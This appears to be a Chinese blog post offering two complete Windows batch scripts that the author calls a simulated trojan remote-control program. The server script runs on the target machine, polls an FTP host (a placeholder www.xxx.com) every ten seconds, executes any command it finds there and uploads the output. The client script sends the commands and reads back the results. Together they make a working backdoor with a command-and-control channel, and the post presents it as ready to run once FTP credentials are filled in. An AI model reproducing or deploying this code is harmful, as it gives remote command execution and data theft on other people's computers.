模拟木马远程控制的一个简单的程序
看到网上太多的木马程序,其中以远程监控的技术含量较高。可是网上的毕竟都是别人的东西,即使用起来再怎么的方便心里感觉还是不爽。于是,我花了半天的时间用一些简单的dos命令写了一个简单的模拟木马远程控制的程序。 原理:两台PC以一个FTP空间作为中转站,所有的命令以及命令执行的结果都传到FIP空间上去.
程序代码:
(把一下代码复制到记事本中,后缀为bat,再改成自己的ftp空间参数,就可以运行了)
服务端程序:
@echo off
:start
rem 下载命令文件
echo open www.xxx.com>ip.txt
echo username>>ip.txt
echo password>>ip.txt
echo cd wwwroot>>ip.txt
echo get order.txt>>ip.txt
echo bye>>ip.txt
ftp -s:ip.txt
rem 检查命令
for /f %%a in (order.txt) do (set od=%%a)
if "%od%"=="" goto end
rem 执行命令
%od%>remote.txt
set od=
rd a
md a>order.txt
echo 命令完成>>remote.txt
rd a
rem 把命令执行结果上传到空间
echo open www.xxx.com>ip.txt
echo username>>ip.txt
echo password>>ip.txt
echo cd wwwroot>>ip.txt
echo put remote.txt>>ip.txt
echo put order.txt>>ip.txt
echo bye>>ip.txt
ftp -s:ip.txt
goto end
:end
rem 延迟10秒
ping 127.0.0.1 -n 10
rem 重新监视命令
goto start
客户端程序:
@echo off
title 远程控制客户端
:start
echo =========== N E W ==================
rem 输入要执行的命令
set /p od=请输入命令 :
if "%od%"=="exit" goto end
echo %od%>order.txt
rem 清空remote.txt文件
md a>remote.txt
rd a
rem 发送命令
echo open www.xxx.com>ip.txt
echo username>>ip.txt
echo password>>ip.txt
echo cd wwwroot>>ip.txt
echo put remote.txt>>ip.txt
echo put order.txt>>ip.txt
echo bye>>ip.txt
ftp -s:ip.txt
echo 命令已经发送...
:loop
echo 按任意键察看结果(建议等10秒钟以后再看)
del remote.txt
pause>nul
rem 察看服务端执行的结果
echo open www.xxx.com>ip.txt
echo username>>ip.txt
echo password>>ip.txt
echo cd wwwroot>>ip.txt
echo get remote.txt>>ip.txt
echo bye>>ip.txt
ftp -s:ip.txt
rem 显示运行的结果
dir remote.txt|find "个文件">00.txt
for /f "tokens=3,4 delims=文件,字节, " %%i in (00.txt) do (set num=%%i)
del 00.txt
if not "%num%"=="0" goto result
goto loop
:result
echo =============== 运行结果 ================
type remote.txt
echo ==========================================
set num=
goto start
rem 结束程序
:end
echo =========================================
echo 程序将结束!!!
ping 127.0.0.1 -n 2 >nul
echo end
pause
文章评论
共有 0 位网友发表了评论 此处只显示部分留言 点击查看完整评论页面